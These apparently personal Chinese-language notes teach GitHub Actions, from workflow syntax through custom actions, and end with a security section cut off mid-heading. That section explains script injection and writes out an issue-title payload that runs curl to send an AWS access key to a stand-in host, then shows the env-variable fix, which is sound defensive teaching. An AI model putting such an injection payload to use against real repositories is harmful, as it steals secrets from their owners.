# Github Actions ## Workflows, Jobs, and Steps - Workflows > 定義 Events + Jobs - 依附於一個 Github Repo 上,而一個 Repo 可以有多個 workflows - 裡面包含了一或多個 Jobs,建立一些可以被自動 Execute 的動作 - 這些 Jobs 會被 Event 所觸發,可以是手動的或是基於某個 git action - workflows 之間會並行處理 - Jobs > 定義 Runner + Steps - 會定義一個 Runner (Execution Environment) 來執行裡面的 Steps - Runner 可以使用 Github 所提供的,也可以建立自己的 - 裡面包含了一或多個 Steps - Jobs 之間可以並行處理,也可以設置依序進行,另外也能設置在特定條件才執行 - Steps > 執行實質上的工作 - 可以是 shell script 或自訂的 Action - Actions 可以使用 Github 定義好的一些動作或是自己建立,或是第三方 - Steps 會依定義順序執行,並能夠設置在特定條件才執行 ### Create Simple Workflow - 可以到 Repo 上面的 Actions Tab 選擇一個 Action 或是建立自己的 Workflow - Workflow 的 Yaml 會被存放在 `.github/workflows/` 底下 :::spoiler Example ```yaml name: First Workflow on: workflow_dispatch jobs: first-job: runs-on: ubuntu-latest steps: - name: Print Greeting run: echo "Hello World!" - name: Print Goodbye run: echo "Done - bye!" ``` ::: - Properties - `name` - 此 Workflow 的名稱 (可以有多個 Workflow) - `on` - 要觸發這個 Workflow 的 Events - [job name] - `runs-on` - 定義 runner (可以用 [Github](https://docs.github.com/en/actions/using-github-hosted-runners/about-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources) 提供的或是自己的) - `steps` - 依序定義所有步驟 - `- name: ` - step 名稱 - ` run: ` - 要做的動作,可以是 shell script 或是定義好的其他 Scripts ```yaml # 如果想執行多行,可以使用 `|` run: | echo "First output" echo "Second output" ``` - 建立完到 Repo 的 Actions 就可以在 Sidebar 看到剛剛建立的 Workflow 了, - 跑的時候可以指定要在哪個 Branch 上面執行 - 執行過程或之後,也可以點進去查看 Workflow 執行的動作和其結果 ### Events (Workflow Triggers) > [More Events](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows) :::spoiler Repository-related - `push` - push a commit - `pull_request` - pull request actions - `create` - created a branch or tag - `fork` - repo was forked - `issue` - an issue was opened or deleted... - `issue_comment` - issue or pr comment action - `watch` - repo was stared - `discussion` - discussion actions (Ex. created) ::: :::spoiler Others - `workflow_dispatch` - manually trigger - `repository_dispatch` - REST API Requests trigger - `schedule` - scheduled workflow - `workflow_call` - can be called by other workflows ::: - Usage ```yaml on: push # trigger on code push # on: [push, workflow_dispatch] # trigger on multiple events ``` ### Runners > [More Runners](https://docs.github.com/en/actions/using-github-hosted-runners/about-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources) - 用來執行 Jobs 的 Servers (Machine) - Github 提供了多種不同的 OS 選項,也可以建立客製化的 Runners ### Actions > [More Actions](https://github.com/marketplace?type=actions) - 要注意的是我們在 Github Server 所建立的環境中,一開始並沒有我們 Repo 的 Code,因此需要某種方式把我們的 Code 載進那個 Server - Action 是第三方所提供的 Application,幫忙做一些常用到的工作,當然也可以建立自己的 Actions - Ex. 把 Repo 的 Code 載到 Github 所起的 Server 環境中 - 最常用的就是 [`actions/checkout`](https://github.com/actions/checkout),由 Github 團隊維運,另外還有許多不同來源的 Actions 可以使用 - 此用 `use` 來使用 Actions,為了確保不會因為新版本而引響行為,會指定版本 - Ex. `uses: actions/checkout@v3` - 可以使用 `with` 來設置其他選項,再閱讀文件即可 ### Create Basic React App Workflow :::spoiler Example ```yaml= name: Test Project on: push jobs: test: runs-on: ubuntu-latest steps: - name: Get code uses: actions/checkout@v3 - name: Install NodeJS # For Demo uses: actions/setup-node@v3 with: node-version: 20 - name: Install Dependencies run: npm ci # Use lock file - name: Run Tests run: npm test deploy: # Important: each job needs a separate runner runs-on: ubuntu-latest steps: - name: Get code uses: actions/checkout@v3 - name: Install NodeJS # For Demo uses: actions/setup-node@v3 with: node-version: 20 - name: Install Dependencies run: npm ci # Use lock file - name: Build Project run: npm run build - name: Deploy run: echo "Deploying..." ``` ::: - 這裏的環境使用 `ubuntu-latest`,而 `Node.js` 已經事先被安裝好,因此不用額外安裝 - 目前的 latest 為 22.0.4,可以看此 [Image](https://github.com/actions/runner-images/blob/main/images/ubuntu/Ubuntu2204-Readme.md) 包含了哪些環境設置 - 如果需要自行安裝,可以使用 [`actions/setup-node`](https://github.com/actions/setup-node) - 每個 Job 都需要自己的 Runner,預設之下 Jobs 會分別並行執行 - 使用 `needs` 讓某個 Job 在某些 Jobs 執行成功才執行 ```yaml jobs: test: runs-on: ubuntu-latest steps: # ... deploy: needs: test # run after `test` is done # needs: [job1, job2, job3] runs-on: ubuntu-latest steps: # ... ``` - 如果在 push 的時候出現以下錯誤,代表要到 Personal Access Token 那邊建立新的並打開 `workflow` 的權限,並參考此[文章](https://github.com/git-ecosystem/git-credential-manager?tab=readme-ov-file)設置此 Token 到你的 OS 上,建立好後重新 push 就可以了 > ...refusing to allow a Personal Access Token to create or update workflow `[workflow path]` without `workflow` scope ### Github Contexts > [More Contexts](https://docs.github.com/en/actions/learn-github-actions/contexts) - 很多時候有些動作會需要傳入一些環境資訊 (Ex. Env) - 可以使用 `${{}}` 來引用 [Expressions](https://docs.github.com/en/actions/learn-github-actions/expressions) ```yaml name: Output information on: workflow_dispatch jobs: info: runs-on: ubuntu-latest steps: - name: Output GitHub context # Outputs the GitHub context run: echo "${{ toJson(github) }}" ``` ## Deep Dive ### Events - [Activity Types](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows) - 能定義更細部的觸發種類 - 如果沒有特別的定義,通常會預設某些觸發選項 - Ex. `pull_request` - `opened`、`closed`、`edited`... ```yaml name: ... on: pull_request: types: [opened, ...] # types: # - opened # - ... workflow_dispatch: # 就算沒有其他選項也要這樣寫 ``` - [Filters](https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions) - 能定義更細部的觸發條件 - 可以去看 Document 此 Event 有支援哪些、有哪些語法可以使用 - base on branch ```yaml name: ... on: pull_request: types: [opened, ...] branches: - main # Match any branch starting with 'dev-' # Ex. dev-new, dev-new-new, dev-new-new-new - "dev-*" # Match any branch starting with 'feat/' followed by anything # Ex. feat/new, feat/new-new, feat/new/new-new - "feat/**" workflow_dispatch: # ... ``` - base on path ```yaml name: ... on: push: branches: - main # 只要裡面有任何一個檔案被動到,就『不會』觸發 paths-ignore: - '.github/workflows/*' # 只要裡面有任何一個檔案被動到,就『會』觸發 # paths: # - '.github/workflows/*' # ... ``` - `paths` - 只要滿足這個條件就會觸發 - `paths-ignore` - 只要滿足這個條件就不會觸發 - 在預設情況下,基於 Forks 的 PR 不會觸發任何 workflow - 否則可能會有惡意人士濫用 - 因此第一次發 PR 的人會需要擁有者審核 ### Cancelling & Skipping Events - 除了過程中出現 Error 會終止 workflow 外,也可以打開進行中的 workflow 手動取消 - `push` & `pull_request` 在一般情況下只要滿足觸發條件就會觸發 workflow,而有些特定的 Event 可以透過特定的 commit message 跳過 workflow 不執行 - Ex. "... [skip ci]"、"... [skip actions]"、... - 更多寫法可以參考 [Documentation](https://docs.github.com/en/actions/managing-workflow-runs/skipping-workflow-runs) - 如果是付費版本那種 CI 可能會收取費用的,就可以在某些確定不會影想到 code 的情況中 skip 掉 ### Job Artifacts - 可以視為專案所產出的 output,也許是要上傳到某個雲端服務的檔案,或是要上架到 App Store 之類,甚至 Log Files 等等也算 - 透過 Github Actions 可以存儲這些 Artifacts 將其用在其他 Jobs 中或是手動取得他進行上傳或是執行 - 使用 `actions/upload-artifact@v3` 上傳到 Github Actions ```yaml jobs: test: # ... build: runs-on: ubuntu-latest needs: test steps: - name: Get code uses: actions/checkout@v3 - name: Install dependencies run: npm ci - name: Build website run: npm run build - name: Upload artifact uses: actions/upload-artifact@v3 with: name: dist-files path: dist # Path to the build files # You can also specify multiple paths like below # path: | # dist # public # ... ``` - 跑完後可以在執行的 Action 底下看到 Upload 的 Artifact,可以載下來或是刪除 - 也可以將產出的 Artifacts 使用在其他 Jobs 中 > 這裡提醒因為每個 Job 是在不同的機器上面運行,因此需要先進行下載才能使用 ```yaml jobs: test: # ... build: runs-on: ubuntu-latest needs: test steps: # ... - name: Upload artifact uses: actions/upload-artifact@v3 with: name: dist-files path: dist deploy: needs: build runs-on: ubuntu-latest steps: - name: Get build artifact # Download the artifact from the build job and unzip it uses: actions/download-artifact@v3 with: name: dist-files # Select artifact - name: Output contents run: ls - name: Deploy run: echo "Deploying website" ``` ### Job Outuputs - 不同於 `Artifacts` 這種 log files 或是 App Binaries,`Outputs` 是單純的 Values,可以用於後面的 Jobs 當中 (Ex. File Name) - 在 [steps-context](https://docs.github.com/en/actions/learn-github-actions/contexts#steps-context) 定義,從 [needs-context](https://docs.github.com/en/actions/learn-github-actions/contexts#needs-context) 存取 ```yaml jobs: test: # ... build: needs: test runs-on: ubuntu-latest # Define the outputs of the build job outputs: # Access the script-file output from step by ID # steps[step-id].outputs[output-name] script-file: ${{ steps.publish.outputs.script-file }} steps: # ... - name: Publish JS filename id: publish # Find all JS files in the dist/assets directory (linux command) # output-name = script-file run: find dist/assets/*.js -type f -execdir echo 'script-file={}' >> $GITHUB_OUTPUT ';' # Deprecated old syntax # run: find dist/assets/*.js -type f -execdir echo '::set-output name=script-file::{}' ';' # ... deploy: needs: build runs-on: ubuntu-latest steps: # ... - name: Output script-file # needs[build].outputs[output-name] run: echo ${{ needs.build.outputs.script-file }} # ... ``` ### Dependency Caching > [Cache for differenct languages](https://github.com/actions/cache?tab=readme-ov-file) > [Pnpm setup for Github Actions](https://pnpm.io/continuous-integration#github-actions) - 減少在 Jobs 之間重複如 Install Dependencies 工作所花費的時間 - 不要去 Cache Artifacts 喔喔喔! - 在 Install Step 之前使用 `actions/cache@v3` 讓要 Cache 的東西不是存在當個 Job 機器中,而是另一個能夠跨機器存取的地方 ```yaml jobs: test: runs-on: ubuntu-latest steps: - name: Get code uses: actions/checkout@v3 # Use cache if available, else install dependencies and cache them - name: Cache dependencies uses: actions/cache@v3 with: # npm cache files are stored in `~/.npm` on Linux/macOS path: ~/.npm # add dynamic cache key based on hashed package-lock.json # invalidate cache if found different key key: deps-node-modules-${{ hashFiles('**/packages-lock.json') }} - name: Install dependencies # npm ci will automatically use cache if package-lock.json is unchanged run: npm ci # ... build: needs: test runs-on: ubuntu-latest steps: - name: Get code uses: actions/checkout@v3 - name: Cache dependencies uses: actions/cache@v3 with: path: ~/.npm key: deps-node-modules-${{ hashFiles('**/packages-lock.json') }} - name: Install dependencies run: npm ci # ... deploy: # ... ``` ### Environment Vairables and Secrets - Environment variables - 可以讓我們彈性切換各種參數來因應各種情境,Ex. 在測試和正式環境使用不同的帳號或資料庫、使用不同的 port 起 server - Github Actions 也提供了一些預設的 variables 可以使用 - Ex. workflow 所屬的 Repository - 參考 [文件](https://docs.github.com/en/actions/learn-github-actions/environment-variables#default-environment-variables) 了解更多 :::spoiler Sample ```yaml= name: Deployment on: push: branches: - main - dev # Global env variables env: MONGO_DB_NAME: ... jobs: test: env: # Job specific env variables MONGODB_CLUSTER_ADDRESS: ... MONGODB_USERNAME: ... MONGODB_PASSWORD: ... PORT: ... # Override the global env variable # MONGO_DB_NAME: ... runs-on: ubuntu-latest steps: - name: Get Code uses: actions/checkout@v3 - name: Cache Dependencies uses: actions/cache@v3 with: path: ~/.npm key: npm-deps=${{ hashFiles('**/package-lock.json') }} - name: Install Dependencies run: npm ci - name: Run Server # Use PORT from env variables # $PORT or ${{ env.PORT }} run: npm run start && npx wait-on http://127.0.0.1:${{ env.PORT }} - name: Run Tests run: npm run test - name: Output Information run: echo "MONGODB_USERNAME=${{ env.MONGODB_USERNAME }}" deploy: needs: test runs-on: ubuntu-latest steps: - name: Output Information # These variables won't be available in this job run: | echo "MONGODB_USERNAME=${{ env.MONGODB_USERNAME }}" echo "MONGODB_USERNAME=${{ env.MONGODB_USERNAME }}" ``` ::: - Secrets - 不要把 Credential 直接放在 workflows 裡面,否則會直接被看光光!因此需要改在 Github 裡面設定 Secrets,是另一種設定 Environment Variables 的方式 - Secrets 可以限縮使用在 repository 裡面,也可以是 Organization 層級的共用變數 - 在 Github 建立 Repository 層級的 Action Secret 1. `Settings` > `Secrets` > `Actions` 2. `New repository secret`,名稱通常會和 Action 中使用的 Variable 名稱相同但並非強制 3. 建立好的會顯示在 `Repository secrets` 底下 4. 在 Actions 中使用 Secrets 的方式如下 ```yaml env: MONGODB_USERNAME: ${{ secrets.MONGODB_USERNAME }} ``` - 建立好的 Secret 可以更新但沒辦法再查看,如果在 Action 中不小心嘗試把它印出來,Github 也會辨識出來並將其隱藏 - Github Environments > 此功能只會在 Public Repository 或是付費方案中才能使用 - 會被綁在 Repository 底下,而 Workflow Jobs 可以指定不同的 Environment - 不同 Environment 可以使用不同的設置,如 Seccrets - 可以設置不同的規範,如某些特定的 branch 或是 event 才能使用 - 在 Repository 底下新增 Environments 1. `Settings` > `Envronments` > `New environment` 2. 可以建立一個像是 `testing` 的環境 3. 在底下加上這個 Environment 專用的 Secrets,會顯示在 `Settings` > `Secrets` > `Actions` 底下的 `Environment Secrets` 中 4. 在 Action 中指定 Environment ```yaml jobs: test: environment: testing ``` - 引用 Environment 後就會優先使用當中的 Secrets 而不是 Repository 所定義的 `Repository secrets` 底下 - 另外也有一些針對 Environment 可以做的設置 - Environment protection rules 可以設置 Approval 和 Timeouts - Deployment branches 可以限制特定的 branch 才會觸發引用此 Environent 的 Jobs,反之如果不是這些 Branch 則不會觸發這些 Jobs ## Controlling Workflow & Job Execution - 預設下,workflows 中的 Jobs 會從上往下執行,如果某個 Job 出現錯誤,後面的則不會執行 - 但很多時候我們會想控制 Jobs 執行的順序,出現錯誤時有些 Jobs 還是要執行,甚至有些 Jobs 只有在某個 Job 出現錯誤時才要執行 > 假設 build job 要在 test job 完成後才能執行,若 test job 失敗,build job 和其後面的 jobs 也會自動被忽略。 :::spoiler Demo Workflow ```yaml= jobs: lint: # ... test: runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v3 - name: Cache dependencies id: cache uses: actions/cache@v3 with: path: ~/.npm key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }} - name: Install dependencies run: npm ci - name: Test code run: npm run test - name: Upload test report uses: actions/upload-artifact@v3 with: name: test-report path: test.json build: needs: test # ... deploy: needs: build # ... ``` ::: ### Running Steps Conditionally > 在 test failed 的時後才去上傳 test report 到 github 1. 在 `Test Code` 的 step 加上 id 來做 reference 取得他成功或失敗 ```yaml - name: Test code id: run-tests run: npm run test ``` 2. 在 `Upload test report` 的 step 加上 `if` 判斷 (其他能用的 [Operators](https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/evaluate-expressions-in-workflows-and-actions#operators)) ```yaml - name: Upload test report # When continue-on-error fails, # the outcome is failure, # and the conclusion is success if: steps.run-tests.outcome == 'failure' uses: actions/upload-artifact@v3 with: name: test-report path: test.json ``` 3. 這時會發現雖然已經檢查了,但因為 `Test Code` 的 step 失敗後並不會去執行其他 step,所以這邊需要在 `if` 加上 `failure()` 讓他在 failure 要執行 > - `failure()`: 前面有 step failed 時回傳 true > - `success()`: 前面沒 step failed 時回傳 true > - `always()`: 都會回傳 true > - `cancelled()`: workflow 被 cancel 時回傳 true ```yaml - name: Upload test report # When continue-on-error fails, # the outcome is failure, # and the conclusion is success if: failure() && steps.run-tests.outcome == 'failure' uses: actions/upload-artifact@v3 with: name: test-report path: test.json ``` ### Running Jobs Conditionally > echo error message if something went wrong 1. Add report job ```yaml report: needs: [lint, deploy] runs-on: ubuntu-latest steps: - name: Output information run: | echo "Something went wrong..." echo "${{ toJSON(github) }}" ``` 2. Add `if` to report job ```yaml report: needs: [lint, deploy] if: failure() runs-on: ubuntu-latest steps: - name: Output information run: | echo "Something went wrong..." echo "${{ toJSON(github) }}" ``` ### Other Samples > Caching node_modules, skip install step if found cache ```yaml! steps: # ... - name: Cache dependencies id: cache uses: actions/cache@v3 with: path: node_modules key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }} - name: Install dependencies # cache-hit: output from actions/cache@v3 (boolean) if: steps.cache.outputs.cache-hit != 'true' run: npm ci # ... ``` > 使用 `continue-on-error` 無視當個 step 的 failure 繼續執行 ```yaml! # Will run build and deploy even `Test code` failed, # Won't cause the workflow result to fail (comparing to using `if: falure()`) jobs: lint: # ... test: runs-on: ubuntu-latest steps: # ... - name: Test code continue-on-error: true id: run-tests run: npm run test # ... build: # ... deploy: # ... ``` ### Matric Strategies - 讓你能在一個 job 裡面共享同一個 configuration,當其中一個 Job 失敗,會取消其他 ```yaml! name: Matrix demo on: push: branches: - main jobs: build: strategy: # Job will be ran for each combination matrix: node-version: [12, 14, 16] operating-system: [ubuntu-latest, windows-latest, macOS-latest] runs-on: ${{ matrix.operating-system }} steps: - name: Get Code uses: actions/checkout@v3 # Maybe want to use specific versions of Node.js - name: Install Node.js uses: actions/setup-node@v3 with: node-version: ${{ matrix.node-version }} - name: Install dependencies run: npm ci - name: Build website run: npm run build ``` - 如果在 Job 層級加上 `continue-on-error: true` 則會無視 Job 的 Failure,仍去執行其他 Matrix Jobs - 可以用 `include` 來設置單一動作,用 `exclude` 來忽略某些組合 ```yaml strategy: matrix: node-version: [12, 14, 16] operating-system: [ubuntu-latest, windows-latest] # include: - node-version: 18 operating-system: ubuntu-latest exclude: - node-version: 12 operating-system: windows-latest ``` ### Reusable Workflows > 使用 `workflow_call` Event 來讓其他 Workflows 用在他們的 Jobs 裡面,而不會直接被其他事件觸發 (actions 也可以算是某種 Reusable Workflow) ```yaml! # reusable.yml name: Reusable Deploy on: workflow_call: # Define the inputs for the workflow inputs: artifact-name: description: Name of the artifact to deploy type: string required: true default: dist # Define the secrets for the workflow if needed # secrets: # some-scret: # description: A secret value # required: true # Define the outputs for the workflow outputs: result: description: The result of the deployment value: ${{ jobs.deploy.outputs.outcome }} jobs: deploy: # Define the outputs for the job outputs: outcome: ${{ steps.set-result.outputs.step-result }} runs-on: ubuntu-latest steps: - name: Get build artifacts uses: actions/download-artifact@v3 with: # Use the input value name: ${{ inputs.artifact-name }} - name: List files run: ls - name: Output Information run: echo "Deploying to production" # Set the output value - name: Set result output run: echo "::set-output name=step-result::success" ``` ```yaml! # use-reusable.yml name: Using Reusable Deploy on: push: branches: - main jobs: # ... deploy: needs: build # path from the root of the repository # can also use workflows from other repositories uses: ./.github/workflows/reusable.yml # Pass in inputs with: artifact-name: dist-files # Pass in secrets # secrets: # some-secret: ${{ secrets.SOME_SECRET }} print-deploy-result: needs: deploy runs-on: ubuntu-latest steps: - name: Print deployment output run: echo "${{ needs.deploy.outputs.result }}" ``` ## Using Docker Containers > 比起單純使用 Runner,你可以自己定義整個環境,而不用卡死在人家定義好的 Runner 環境設置 ```yaml! jobs: test: environment: testing # Runner is only used to host the image runs-on: ubuntu-latest container: image: node:16 # env: # environment variables for the container # ... deploy: # ... ``` ### Service Containers (`service`) 在 CI 裡面可能會需要和一些其他 Service 互動,例如啟用一個測試用的 Database 在 container 裡面 > 不一定要跑在 container 上到 job 才能和 service container 互動,直接跑在 runner 上的也可以;Service 則只能跑在 container 上 - 如果要和 service 互動 - 當 job 本身也是使用 container,那 Github Action 會自動產生一個 Network 環境,可以使用 service container 的 label 作為 connection address - 當 job 跑在 runner 上,需使用 localhost 並指定對應的 PORT - 建立一個測試用的 mongodb service (job in runner) ```yaml! jobs: test: environment: testing runs-on: ubuntu-latest # Job level services services: mongodb: image: mongo # Forwards the container port 27017 to the host machine ports: - 27017:27017 env: MONGO_INITDB_ROOT_USERNAME: root MONGO_INITDB_ROOT_PASSWORD: password env: # Use only mongodb due to image requirements MONGODB_CONNECTION_PROTOCOL: mongodb # Use localhost and port # mongodb default port: 27017 MONGODB_CLUSTER_ADDRESS: 127.0.0.1:27017 # Same as the one defined in the services section MONGODB_USERNAME: root MONGODB_PASSWORD: password PORT: 8080 # ... ``` - 建立一個測試用的 mongodb service (job in container) ```yaml! jobs: test: environment: testing runs-on: ubuntu-latest container: image: node:16 # Job level services services: mongodb: image: mongo env: MONGO_INITDB_ROOT_USERNAME: root MONGO_INITDB_ROOT_PASSWORD: password env: # Use only mongodb due to image requirements MONGODB_CONNECTION_PROTOCOL: mongodb # Use service container labels MONGODB_CLUSTER_ADDRESS: mongodb # Same as the one defined in the services section MONGODB_USERNAME: root MONGODB_PASSWORD: password PORT: 8080 # ... ``` ## Custom Actions > 主要用來簡化 workflows 或是建立解決自己特殊需求且尚未存在的 actions - 若限用於 Repo 內部,會放在 `.github/actions/` 底下,建立一個資料夾放 custom action 並在裡面新建 `action.yml` (一定得這樣命名並存放);使用時透過 root folder 開始的相對路徑引用 (只要指向 action folder 就好,Github Action 會自動去找來面的 `action.yml`) > 要注意的是當建立在同一個 repository 的時候要先 checkout 才能使用,如果是使用存放在其他 repository 中的 action 就不需要 - 如果建立跨 Repo 共用使用的 workflow 1. 建立一個 public repo,並把所有 action files 直接放在 root folder (而不是 `.github/actions`) 後推上 github > 如果要限制在 Organization 裡面,需是在 `GitHub Enterprise Cloud` 的 Organizaion,可將 Repository Visibility 設為 `internal` ([Docs](https://docs.github.com/en/enterprise-cloud@latest/actions/sharing-automations/sharing-actions-and-workflows-with-your-enterprise)) 2. 要在其他 workflow 中使用時 - 透過 reference repository 的方式引用 `uses: <account or organizaion>/<repository>` - 推到 [market place](https://docs.github.com/en/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action) 上面使用 ### Composite Actions > 結合各種 Workflow Steps 作為 Action,接著在 Workflows 中重複使用 > 範例:建立 action 來 cache dependencies 1. 建立 `cache-deps` action ```yaml! # .github/actions/cache-deps/action.yml name: "Get & Cache Dependencies" description: "Cache dependencies to speed up workflow runs" inputs: allow-caching: description: "Whether to cache dependencies or not" required: false default: "true" # other inputs... # Just for demo outputs: used-cache: description: "Whether cache was used or not" # Using step id to access the output value: ${{ steps.install.outputs.cached }} # other outputs... runs: using: "composite" steps: - name: Cache dependencies if: ${{ inputs.allow-caching == 'true' }} id: cache uses: actions/cache@v3 with: path: node_modules key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }} - name: Install dependencies id: install if: steps.cache.outputs.cache-hit != 'true' || ${{ inputs.allow-caching != 'true' }} run: | npm ci echo "::set-output name=cached::${{ inputs.allow-caching }}" shell: bash # Needed if using run keyword ``` 2. 在 workflow 中使用 ```yaml! # .github/workflows/deploy.yml # ... jobs: lint: runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v3 - name: Load & Cache dependencies id: cache-deps uses: ./.github/actions/cached-deps with: # Test input to disable caching allow-caching: false # Test printing output from custom action - name: Output Information run: echo "Cache used? ${{ steps.cache-deps.outputs.used-cache }}" - name: Lint code run: npm run lint # ... ``` ### JavaScript Actions > 用 JavaScript (NodeJS) 撰寫,會在跑 Action 時被執行 ([More Info](https://docs.github.com/en/actions/sharing-automations/creating-actions/metadata-syntax-for-github-actions#runs-for-javascript-actions )) > 範例:建立 action 來上傳東西到 AWS S3 Bucket (也有現成的可以用,這裡只是為了 Demo) 1. 建立 `deploy-s3` action ```yaml! # .github/actions/deploy-s3/action.yml name: "Deploy to AWS S3" description: "Deploy to AWS S3 bucket" inputs: bucket-name: description: "The name of the S3 bucket to deploy to" required: true bucket-region: description: "The AWS region of the S3 bucket" required: true default: "us-east-1" dist-folder: description: "The folder containing the files to deploy" required: true outputs: site-url: description: "The URL of the deployed site" # Value is set in the action's code runs: using: "node16" # pre: 'pre.js' # executed before the main entrypoint main: "main.js" # relative path from this file # post: 'post.js' # executed after the main entrypoint ``` 2. 切到 `.github/actions/deploy-s3` 裡面並用 `npm init -y` 初始化建立 `package.json` 後,安裝 Github Actions 會用到的 Dependencies [Toolkits](https://github.com/actions/toolkit) ```bash npm install @actions/core @actions/github @actions/exec ``` > 這裡要注意的是,這裡所產生的 `node_modules` 不能被 ignore,需要一起被推上 github,因為 Github Action 並不會幫你 install;`dist` 也一樣,否則有些 module 裡面的 `dist` 會被 ignore 掉 3. 建立一支 `main.js` 撰寫要執行的動作 ```javascript // .github/actions/deploy-s3/main.js const core = require("@actions/core"); const exec = require("@actions/exec"); // Used to access the GitHub APIs // const github = require("@actions/github"); function run() { // Get the inputs from the workflow file // Will throw an error if the input is not set when required const bucket = core.getInput("bucket-name", { required: true }); const region = core.getInput("bucket-region", { required: true }); const dist = core.getInput("dist-folder", { required: true }); // Upload the files to the S3 bucket // paws-cli is reinstalled in ubuntu-latest const s3Uri = `s3://${bucket}`; exec.exec(`aws s3 sync ${dist} ${s3Uri} --region ${region}`); // Set output value const siteURL = `http://${bucket}.s3-website-${region}.amazonaws.com`; core.setOutput("site-url", siteURL); // ::set-output // Print something // core.notice("Hello from the action!"); } run(); ``` 4. 在 workflow 中使用 ```yaml! # .github/workflows/deploy.yml # ... jobs: # ... deploy: needs: build runs-on: ubuntu-latest steps: - name: Get build artifacts uses: actions/download-artifact@v3 with: name: dist-files path: ./dist - name: Deploy id: deploy uses: ./.github/actions/deploy-s3 # Needed to access aws s3 bucket env: AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} with: bucket-name: ${{ secrets.AWS_BUCKET_NAME }} dist-folder: ./dist # bucket-region: us-east-2 - name: Output URL run: | echo "Live URL: ${{ steps.deploy.outputs.site-url }}" ``` ### Docker Actions > 透過建立 Dockerfile 給 Github 使用,裡面可以用任何程式語言撰寫各種任務 > 範例:改用 docker 建立 action 來上傳東西到 AWS S3 Bucket 1. 建立 `deploy-s3` action ```yaml! # .github/actions/deploy-s3/action.yml name: "Deploy to AWS S3" description: "Deploy to AWS S3 bucket" inputs: bucket-name: description: "The name of the S3 bucket to deploy to" required: true bucket-region: description: "The AWS region of the S3 bucket" required: true default: "us-east-1" dist-folder: description: "The folder containing the files to deploy" required: true outputs: site-url: description: "The URL of the deployed site" # Value is set in the action's code runs: using: "docker" image: 'Dockerfile' # Or use a pre-built image ``` 2. 建立 `deployment.py`、`requirements.txt` 來處理 s3 的上傳,和 `Dockerfile` 來產生執行 python 的環境 ```python # .github/actions/deploy-s3/deployment.py import os import boto3 from botocore.config import Config def run(): # Get the inputs generated by github actions # INPUT_<Capitalized Defined Input> bucket = os.environ['INPUT_BUCKET-NAME'] region = os.environ['INPUT_BUCKET-REGION'] dist = os.environ['INPUT_DIST-FOLDER'] # Create an S3 client configuration = Config(region_name=region) s3_client = boto3.client('s3', config=configuration) # Upload the files for root, subdirs, files in os.walk(dist): for file in files: path = os.path.join(root, file) s3_client.upload_file(path, bucket, file) # Print the URL site_url = f'https://{bucket}.s3-website-{region}.amazonaws.com' print(f'::set-output name=site_url::{site_url}') if __name__ == '__main__': run() ``` ```txt <!-- .github/actions/deploy-s3/requirements.txt --> boto3 == 1.24.71 botocore == 1.27.71 jmspath == 1.2.1 python-dateutil == 2.8.2 s3transfer == 0.6.0 six == 1.16.0 urllib3 == 1.26.12 ``` ```dockerfile # .github/actions/deploy-s3/Dockerfile FROM python:3 COPY requirements.txt /requirements.txt RUN pip install -r requirements.txt COPY deployment.py /deployment.py CMD ["python", "/deployment.py"] ``` 3. 在 workflow 中使用 ```yaml! # .github/workflows/deploy.yml # ... jobs: # ... deploy: needs: build runs-on: ubuntu-latest steps: - name: Get build artifacts uses: actions/download-artifact@v3 with: name: dist-files path: ./dist - name: Deploy id: deploy uses: ./.github/actions/deploy-s3 # Needed to access aws s3 bucket env: AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} with: bucket-name: ${{ secrets.AWS_BUCKET_NAME }} dist-folder: ./dist # bucket-region: us-east-2 - name: Output URL run: | echo "Live URL: ${{ steps.deploy.outputs.site-url }}" ``` ## Security & Permissions ### Script Injection > 當使用了 workflow 外的 value 時,別人可以透過嵌入某些 code 在 value 中,讓你的 workflow 執行導致壞掉或做其他事 - 範例:當 workflow 會在建立 Issue 時觸發,並在 workflow 中使用了 Issue Title,其他人可以建立一個 Issue 且 title 裡面夾帶一些 Code 讓你的 workflow 執行 1. 建立一個有 Script Injection 風險的 Action 並推到 github ```yaml # .github/workflows/script-injection.yml name: Label Issues (Script Injection Example) on: issues: types: opened jobs: assign-label: runs-on: ubuntu-latest steps: - name: Assign label run: | issue_title="${{ github.event.issue.title }}" if [[ $issue_title == *"[bug]"* ]]; then echo "Issue is a bug" else echo "Issue is not a bug" fi ``` 2. 建立一個 Script Injection Issue `"; echo "Got your secrets""` > 從上面的 `run` command 可以發現最後被執行的為 > ```bash > issue_title=""; echo "Got your secrets""" > # 第一個 "; 把 title=" 關起來並開始新的 command > # 執行 echo "Got your secrets" > # 最後一個 " 避免最後多出一個 " 導致 failure > ``` 上面的 echo 可能無傷大雅,但假設將 issue 改為 `";curl http://bad-site.com?abc=$AWS_ACCESS_KEY_ID";` 就有可能取得你的 ACCESS_KEY 了! - 之所以會發生是因為 `run` 會直接透過 runner 的 shell 執行,因此會將它視為 command 執行 - 解決方式 1. 透過 custom action 並將 value 以 `input` 的方式傳入 2. 建立 `env` 來存放傳入的 value,並在 `run` 中使用 `env`,而他將被視為 string 而非 command ```yaml env: TITLE: ${{ github.event.issue.title }} run: | if [[ "$TITLE" == *"[bug]"* ]]; then echo "Issue is a bug" else echo "Issue is not a bug" fi ``` ### Malicious Third-Party Actions > 使用第三方的 Actions 時,裡面有可能會執行一些東西取得你的資料或是做奇怪的事 - market place 裡面如果是通過驗證的作者會有藍勾勾,也就是 github 審核過的 - 如果使用其他未知來源的 actions,最好自己去看看人家寫了什麼 - 可以的話盡量使用你信任的來源或自己的 actions ### Permission Issues > 建立 permission 